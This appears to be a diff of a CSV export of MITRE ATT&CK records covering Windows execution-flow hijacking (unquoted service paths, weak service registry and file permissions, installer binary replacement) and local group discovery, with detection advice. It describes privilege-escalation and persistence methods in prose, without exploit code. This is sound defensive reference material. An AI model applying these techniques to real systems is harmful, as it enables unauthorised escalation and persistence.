and Lateral Movement.",True,,['Windows'],,CAPEC-38,https://capec.mitre.org/data/definitions/38.html,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1574/009', 'external_id': 'T1574.009'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/38.html', 'external_id': 'CAPEC-38'}, {'source_name': 'Microsoft CurrentControlSet Services', 'description': 'Microsoft. (2017, April 20). HKLM\\SYSTEM\\CurrentControlSet\\Services Registry Tree. Retrieved March 16, 2020.', 'url': 'https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree'}, {'source_name': 'Help eliminate unquoted path', 'description': 'Mark Baggett. (2012, November 8). Help eliminate unquoted path vulnerabilities. Retrieved November 8, 2012.', 'url': 'https://isc.sans.edu/diary/Help+eliminate+unquoted+path+vulnerabilities/14464'}, {'source_name': 'Windows Unquoted Services', 'description': 'HackHappy. (2018, April 23). Windows Privilege Escalation – Unquoted Services. Retrieved August 10, 2018.', 'url': 'https://securityboulevard.com/2018/04/windows-privilege-escalation-unquoted-services/'}, {'source_name': 'Windows Privilege Escalation Guide', 'description': 'absolomb. (2018, January 26). Windows Privilege Escalation Guide. Retrieved August 10, 2018.', 'url': 'https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/'}]",1.1,attack-pattern,attack-pattern--bf96a5a3-3bce-43b7-8597-88545984c07b,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-13T13:51:58.519Z,2020-09-17T19:05:23.755Z,Path Interception by Unquoted Path,"Adversaries may execute their own malicious payloads by hijacking vulnerable file path references. Adversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch. Service paths (Citation: Microsoft CurrentControlSet Services) and shortcut paths may also be vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., C:\unsafe path with space\program.exe vs. ""C:\safe path with space\program.exe""). (Citation: Help eliminate unquoted path) (stored in Windows Registry keys) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is C:\program files\myapp.exe, an adversary may create a program at C:\program.exe that will be run instead of the intended program. (Citation: Windows Unquoted Services) (Citation: Windows Privilege Escalation Guide) -This technique can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.",attack-pattern--bf96a5a3-3bce-43b7-8597-88545984c07b,attack-pattern,"['persistence', 'privilege-escalation', 'defense-evasion']",2020-09-17T19:05:23.755Z,2020-03-13T13:51:58.519Z,"Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as ""findstr,"" ""net,"" and ""python""). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious. +This technique can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.","['persistence', 'privilege-escalation', 'defense-evasion']",https://attack.mitre.org/techniques/T1574/009,mitre-attack,T1574.009,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Stefan Kanthak'],"['File: File Creation', 'File: File Modification', 'Process: Process Creation']",,"Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as ""findstr,"" ""net,"" and ""python""). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious. + +Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.",True,,['Windows'],,CAPEC-38,https://capec.mitre.org/data/definitions/38.html,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1574/011', 'external_id': 'T1574.011'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/478.html', 'external_id': 'CAPEC-478'}, {'source_name': 'Registry Key Security', 'description': 'Microsoft. (2018, May 31). Registry Key Security and Access Rights. Retrieved March 16, 2017.', 'url': 'https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry-key-security-and-access-rights?redirectedfrom=MSDN'}, {'source_name': 'malware_hides_service', 'description': 'Lawrence Abrams. (2004, September 10). How Malware hides and is installed as a Service. Retrieved August 30, 2021.', 'url': 'https://www.bleepingcomputer.com/tutorials/how-malware-hides-as-a-service/'}, {'source_name': 'Kansa Service related collectors', 'description': 'Hull, D.. (2014, May 3). Kansa: Service related collectors and analysis. Retrieved October 10, 2019.', 'url': 'https://trustedsignal.blogspot.com/2014/05/kansa-service-related-collectors-and.html'}, {'source_name': 'Tweet Registry Perms Weakness', 'description': '@r0wdy_. (2017, November 30). Service Recovery Parameters. Retrieved April 9, 2018.', 'url': 'https://twitter.com/r0wdy_/status/936365549553991680'}, {'source_name': 'microsoft_services_registry_tree', 'description': 'Microsoft. (2021, August 5). HKLM\\SYSTEM\\CurrentControlSet\\Services Registry Tree. Retrieved August 25, 2021.', 'url': 'https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree'}, {'source_name': 'insecure_reg_perms', 'description': 'Clément Labro. (2020, November 12). Windows RpcEptMapper Service Insecure Registry Permissions EoP. Retrieved August 25, 2021.', 'url': 'https://itm4n.github.io/windows-registry-rpceptmapper-eop/'}, {'source_name': 'troj_zegost', 'description': 'Trend Micro. (2012, October 9). TROJ_ZEGOST. Retrieved September 2, 2021.', 'url': 'https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_zegost'}, {'source_name': 'Autoruns for Windows', 'description': 'Mark Russinovich. (2019, June 28). Autoruns for Windows v13.96. Retrieved March 13, 2020.', 'url': 'https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns'}]",1.1,attack-pattern,attack-pattern--17cc750b-e95b-4d7d-9dde-49e0de24148c,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-13T11:42:14.444Z,2021-10-14T23:52:52.058Z,Services Registry Permissions Weakness,"Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for Registry keys related to services to redirect from the originally specified executable to one that they control, in order to launch their own code when a service starts. Windows stores local service configuration information in the Registry under HKLM\SYSTEM\CurrentControlSet\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through access control lists and user permissions. (Citation: Registry Key Security)(Citation: malware_hides_service) -Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.","['File: File Creation', 'File: File Modification', 'Process: Process Creation']",['Stefan Kanthak'],,,['Windows'],,CAPEC-38,https://capec.mitre.org/data/definitions/38.html,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1574.011', 'url': 'https://attack.mitre.org/techniques/T1574/011'}, {'external_id': 'CAPEC-478', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/478.html'}, {'source_name': 'Registry Key Security', 'url': 'https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry-key-security-and-access-rights?redirectedfrom=MSDN', 'description': 'Microsoft. (2018, May 31). Registry Key Security and Access Rights. Retrieved March 16, 2017.'}, {'source_name': 'Kansa Service related collectors', 'url': 'https://trustedsignal.blogspot.com/2014/05/kansa-service-related-collectors-and.html', 'description': 'Hull, D.. (2014, May 3). Kansa: Service related collectors and analysis. Retrieved October 10, 2019.'}, {'source_name': 'Tweet Registry Perms Weakness', 'url': 'https://twitter.com/r0wdy_/status/936365549553991680', 'description': '@r0wdy_. (2017, November 30). Service Recovery Parameters. Retrieved April 9, 2018.'}, {'source_name': 'Autoruns for Windows', 'url': 'https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns', 'description': 'Mark Russinovich. (2019, June 28). Autoruns for Windows v13.96. Retrieved March 13, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.0,True,https://attack.mitre.org/techniques/T1574/011,mitre-attack,T1574.011,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Services Registry Permissions Weakness,"Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for registry to redirect from the originally specified executable to one that they control, in order to launch their own code at Service start. Windows stores local service configuration information in the Registry under HKLM\SYSTEM\CurrentControlSet\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through Access Control Lists and permissions. (Citation: Registry Key Security) +If the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService). -If the permissions for users and groups are not properly set and allow access to the Registry keys for a service, then adversaries can change the service binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService). +Adversaries may also alter other Registry keys in the service’s Registry tree. For example, the FailureCommand key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness) -Adversaries may also alter Registry keys associated with service failure parameters (such as FailureCommand) that may be executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness) ",attack-pattern--17cc750b-e95b-4d7d-9dde-49e0de24148c,attack-pattern,"['persistence', 'privilege-escalation', 'defense-evasion']",2020-09-16T19:07:48.590Z,2020-03-13T11:42:14.444Z,"Service changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. +The Performance key contains the name of a driver service's performance DLL and the names of several exported functions in the DLL.(Citation: microsoft_services_registry_tree) If the Performance key is not already present and if an adversary-controlled user has the Create Subkey permission, adversaries may create the Performance key in the service’s Registry tree to point to a malicious DLL.(Citation: insecure_reg_perms) + +Adversaries may also add the Parameters key, which stores driver-specific data, or other custom subkeys for their malicious services to establish persistence or enable other malicious activities.(Citation: microsoft_services_registry_tree)(Citation: troj_zegost) Additionally, If adversaries launch their malicious services using svchost.exe, the service’s file may be identified using HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\servicename\Parameters\ServiceDll.(Citation: malware_hides_service)","['persistence', 'privilege-escalation', 'defense-evasion']",https://attack.mitre.org/techniques/T1574/011,mitre-attack,T1574.011,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Travis Smith, Tripwire', 'Matthew Demaske, Adaptforward']","['Windows Registry: Windows Registry Key Modification', 'Process: Process Creation', 'Service: Service Metadata', 'Command: Command Execution']",['Application control'],"Service changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: Autoruns for Windows) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data. -Monitor processes and command-line arguments for actions that could be done to modify services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be changed through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data.","['Windows Registry: Windows Registry Key Modification', 'Process: Process Creation', 'Service: Service Metadata', 'Command: Command Execution']","['Travis Smith, Tripwire', 'Matthew Demaske, Adaptforward']",['Application control'],"['Administrator', 'User']",['Windows'],,CAPEC-478,https://capec.mitre.org/data/definitions/478.html,,,['SYSTEM'],,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1574.005', 'url': 'https://attack.mitre.org/techniques/T1574/005'}, {'source_name': 'mozilla_sec_adv_2012', 'url': 'https://www.mozilla.org/en-US/security/advisories/mfsa2012-98/', 'description': 'Robert Kugler. (2012, November 20). Mozilla Foundation Security Advisory 2012-98. Retrieved March 10, 2017.'}, {'source_name': 'Executable Installers are Vulnerable', 'url': 'https://seclists.org/fulldisclosure/2015/Dec/34', 'description': 'Stefan Kanthak. (2015, December 8). Executable installers are vulnerable^WEVIL (case 7): 7z*.exe allows remote code execution with escalation of privilege. Retrieved December 4, 2014.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.0,True,https://attack.mitre.org/techniques/T1574/005,mitre-attack,T1574.005,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Executable Installer File Permissions Weakness,"Adversaries may execute their own malicious payloads by hijacking the binaries used by an installer. These processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM. +Monitor processes and command-line arguments for actions that could be done to modify services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be changed through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data.",True,"['Administrator', 'User']",['Windows'],,CAPEC-478,https://capec.mitre.org/data/definitions/478.html,,,['SYSTEM'],,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1574/005', 'external_id': 'T1574.005'}, {'source_name': 'mozilla_sec_adv_2012', 'description': 'Robert Kugler. (2012, November 20). Mozilla Foundation Security Advisory 2012-98. Retrieved March 10, 2017.', 'url': 'https://www.mozilla.org/en-US/security/advisories/mfsa2012-98/'}, {'source_name': 'Executable Installers are Vulnerable', 'description': 'Stefan Kanthak. (2015, December 8). Executable installers are vulnerable^WEVIL (case 7): 7z*.exe allows remote code execution with escalation of privilege. Retrieved December 4, 2014.', 'url': 'https://seclists.org/fulldisclosure/2015/Dec/34'}]",1.0,attack-pattern,attack-pattern--70d81154-b187-45f9-8ec5-295d01255979,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-13T11:12:18.558Z,2020-03-26T19:20:23.030Z,Executable Installer File Permissions Weakness,"Adversaries may execute their own malicious payloads by hijacking the binaries used by an installer. These processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM. Another variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the %TEMP% directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001). -Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002). Several examples of this weakness in existing common installers have been reported to software vendors.(Citation: mozilla_sec_adv_2012) (Citation: Executable Installers are Vulnerable) If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.",attack-pattern--70d81154-b187-45f9-8ec5-295d01255979,attack-pattern,"['persistence', 'privilege-escalation', 'defense-evasion']",2020-03-26T19:20:23.030Z,2020-03-13T11:12:18.558Z,"Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data. +Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002). Several examples of this weakness in existing common installers have been reported to software vendors.(Citation: mozilla_sec_adv_2012) (Citation: Executable Installers are Vulnerable) If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.","['persistence', 'privilege-escalation', 'defense-evasion']",https://attack.mitre.org/techniques/T1574/005,mitre-attack,T1574.005,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Travis Smith, Tripwire', 'Stefan Kanthak']","['File: File Creation', 'File: File Modification', 'Module: Module Load', 'Process: Process Creation', 'Service: Service Metadata']",,"Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data. -Look for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques.","['File: File Creation', 'File: File Modification', 'Module: Module Load', 'Process: Process Creation', 'Service: Service Metadata']","['Travis Smith, Tripwire', 'Stefan Kanthak']",,"['Administrator', 'User']",['Windows'],,,,,,"['Administrator', 'User', 'SYSTEM']",,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1574.010', 'url': 'https://attack.mitre.org/techniques/T1574/010'}, {'external_id': 'CAPEC-17', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/17.html'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.0,True,https://attack.mitre.org/techniques/T1574/010,mitre-attack,T1574.010,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Services File Permissions Weakness,"Adversaries may execute their own malicious payloads by hijacking the binaries used by services. Adversaries may use flaws in the permissions of Windows services to replace the binary that is executed upon service start. These service processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM. +Look for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques.",True,"['Administrator', 'User']",['Windows'],,,,,,"['Administrator', 'User', 'SYSTEM']",,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1574/010', 'external_id': 'T1574.010'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/17.html', 'external_id': 'CAPEC-17'}]",1.0,attack-pattern,attack-pattern--9e8b28c9-35fe-48ac-a14d-e6cc032dcbcd,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-12T20:43:53.998Z,2020-09-16T19:10:04.262Z,Services File Permissions Weakness,"Adversaries may execute their own malicious payloads by hijacking the binaries used by services. Adversaries may use flaws in the permissions of Windows services to replace the binary that is executed upon service start. These service processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM. -Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.",attack-pattern--9e8b28c9-35fe-48ac-a14d-e6cc032dcbcd,attack-pattern,"['persistence', 'privilege-escalation', 'defense-evasion']",2020-09-16T19:10:04.262Z,2020-03-12T20:43:53.998Z,"Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data. +Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.","['persistence', 'privilege-escalation', 'defense-evasion']",https://attack.mitre.org/techniques/T1574/010,mitre-attack,T1574.010,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Travis Smith, Tripwire', 'Stefan Kanthak']","['File: File Creation', 'File: File Modification', 'Process: Process Creation', 'Service: Service Metadata']",,"Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data. -Look for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques. ","['File: File Creation', 'File: File Modification', 'Process: Process Creation', 'Service: Service Metadata']","['Travis Smith, Tripwire', 'Stefan Kanthak']",,"['Administrator', 'User']",['Windows'],,CAPEC-17,https://capec.mitre.org/data/definitions/17.html,,,"['SYSTEM', 'Administrator', 'User']",,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1574', 'url': 'https://attack.mitre.org/techniques/T1574'}, {'source_name': 'Autoruns for Windows', 'url': 'https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns', 'description': 'Mark Russinovich. (2019, June 28). Autoruns for Windows v13.96. Retrieved March 13, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.1,False,https://attack.mitre.org/techniques/T1574,mitre-attack,T1574,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Hijack Execution Flow,"Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs. Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time. Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution. +Look for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques. ",True,"['Administrator', 'User']",['Windows'],,CAPEC-17,https://capec.mitre.org/data/definitions/17.html,,,"['SYSTEM', 'Administrator', 'User']",,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1574', 'external_id': 'T1574'}, {'source_name': 'Autoruns for Windows', 'description': 'Mark Russinovich. (2019, June 28). Autoruns for Windows v13.96. Retrieved March 13, 2020.', 'url': 'https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns'}]",1.1,attack-pattern,attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-12T20:38:12.465Z,2021-10-14T23:52:52.536Z,Hijack Execution Flow,"Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs. Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time. Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution. -There are many ways an adversary may hijack the flow of execution, including by manipulating how the operating system locates programs to be executed. How the operating system locates libraries to be used by a program can also be intercepted. Locations where the operating system looks for programs/resources, such as file directories and in the case of Windows the Registry, could also be poisoned to include malicious payloads.",attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6,attack-pattern,"['persistence', 'privilege-escalation', 'defense-evasion']",2021-04-27T19:55:20.290Z,2020-03-12T20:38:12.465Z,"Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of .manifest and .local redirection files that do not correlate with software updates are suspicious. +There are many ways an adversary may hijack the flow of execution, including by manipulating how the operating system locates programs to be executed. How the operating system locates libraries to be used by a program can also be intercepted. Locations where the operating system looks for programs/resources, such as file directories and in the case of Windows the Registry, could also be poisoned to include malicious payloads.","['persistence', 'privilege-escalation', 'defense-evasion']",https://attack.mitre.org/techniques/T1574,mitre-attack,T1574,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Windows Registry: Windows Registry Key Modification', 'Process: Process Creation', 'Module: Module Load', 'Command: Command Execution', 'Service: Service Metadata', 'File: File Creation', 'File: File Modification']","['Anti-virus', 'Application control']","Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of .manifest and .local redirection files that do not correlate with software updates are suspicious. Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data. @@ -953,129 +1115,134 @@ Monitor processes for unusual activity (e.g., a process that does not use the ne Service changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. -Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: Autoruns for Windows) Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.","['Windows Registry: Windows Registry Key Modification', 'Process: Process Creation', 'Module: Module Load', 'Command: Command Execution', 'Service: Service Metadata', 'File: File Creation', 'File: File Modification']",,"['Anti-virus', 'Application control']",,"['Linux', 'macOS', 'Windows']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1069.001', 'url': 'https://attack.mitre.org/techniques/T1069/001'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]",1.0,True,https://attack.mitre.org/techniques/T1069/001,mitre-attack,T1069.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Local Groups,"Adversaries may attempt to find local system groups and permission settings. The knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as the users found within the local administrators group. +Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: Autoruns for Windows) Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.",False,,"['Linux', 'macOS', 'Windows']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1069/001', 'external_id': 'T1069.001'}]",1.0,attack-pattern,attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-12T19:29:21.013Z,2020-03-26T17:48:27.871Z,Local Groups,"Adversaries may attempt to find local system groups and permission settings. The knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as the users found within the local administrators group. -Commands such as net localgroup of the [Net](https://attack.mitre.org/software/S0039) utility, dscl . -list /Groups on macOS, and groups on Linux can list local 